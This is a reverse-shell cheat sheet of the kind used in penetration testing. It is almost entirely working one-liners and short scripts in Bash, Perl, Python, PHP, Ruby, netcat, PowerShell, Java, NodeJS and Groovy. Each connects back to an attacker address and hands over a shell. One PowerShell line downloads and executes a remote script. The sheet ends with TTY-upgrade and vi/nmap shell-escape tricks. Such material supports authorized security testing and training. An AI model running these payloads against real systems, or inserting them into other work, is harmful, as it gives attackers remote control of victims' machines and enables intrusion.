

# Reverse Shell Methods

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## Reverse Shell Cheat Sheet

### Bash TCP

```
[-] bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
```

```
0<&196;exec 196<>/dev/tcp/<your IP>/<same unfiltered port>; sh <&196 >&196 2>&196
```

### Bash UDP

```
[-] Victim:
```

```
sh -i >& /dev/udp/127.0.0.1/4242 0>&1
```

```
Listener:
```

```
nc -u -lvp 4242
```

### Perl

```
[-] perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

```
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```

NOTE: Windows only

```
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```

### Python

```
[-] python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

### PHP

```
[-] php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
```

## Ruby

```
❏ ruby -rsocket -e 'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i < &%d >&%d 2>&%d",f,f,f)'
```

```
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```

NOTE: Windows only

```
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```

## Netcat Traditional

```
❏ nc -e /bin/sh [IPADDR] [PORT]
```

## Netcat OpenBsd

```
❏ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
```

## Ncat

```
❏ ncat 127.0.0.1 4444 -e /bin/bash  
ncat --udp 127.0.0.1 4444 -e /bin/bash
```

## Powershell

```
❏ powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("[IPADDR],[PORT]");$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
```

```
❏ powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.1.3.40',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```

```
❏ powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafa253ad4/mini-reverse.ps1')
```

## Java

```

❏ r = Runtime.getRuntime()
  p = r.exec(["/bin/bash", "-c", "exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read
  line; do \$line 2>&5 >&5; done"] as String[])
  p.waitFor()

```

## NodeJS

```

❏ (function(){
  var net = require("net"),
      cp = require("child_process"),
      sh = cp.spawn("/bin/sh", []);
  var client = new net.Socket();
  client.connect(8080, "10.17.26.64", function(){
    client.pipe(sh.stdin);
    sh.stdout.pipe(client);
    sh.stderr.pipe(client);
  });
  return /a/; // Prevents the Node.js application from crashing
})();

or

require('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')

or

-var x = global.process.mainModule.require
-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')

```

## Groovy - by frohoff

NOTE: Java reverse shell also work for Groovy

```

❏ String host="localhost";
  int port=8044;
  String cmd="cmd.exe";
  Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
  Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.get
  tInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s
  .isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so
  .write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush()
  ;Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.
  close();

```

## Spawn TTY

```

❏ /bin/sh -i

```

(From an interpreter)

```
python -c 'import pty; pty.spawn("/bin/sh")'  
perl -e 'exec "/bin/sh";'  
perl: exec "/bin/sh";  
ruby: exec "/bin/sh"  
lua: os.execute('/bin/sh')
```

Access shortcuts, su, nano and autocomplete in a partially tty shell /!\ OhMyZSH might break this trick

```
ctrl+z  
stty raw -echo  
fg
```

(From within vi)

```
:!bash  
:set shell=/bin/bash:shell
```

(From within nmap)

```
!sh
```

## Thanks to

- Reverse Bash Shell One Liner (<https://security.stackexchange.com/questions/166643/reverse-bash-shell-one-liner>)
- Pentest Monkey – Cheat Sheet Reverse shell (<http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet>)
- Spawning a TTY Shell (<http://netsec.ws/?p=337>)
- Obtaining a fully interactive shell (<https://forum.hackthebox.eu/discussion/142/obtaining-a-fully-interactive-shell>)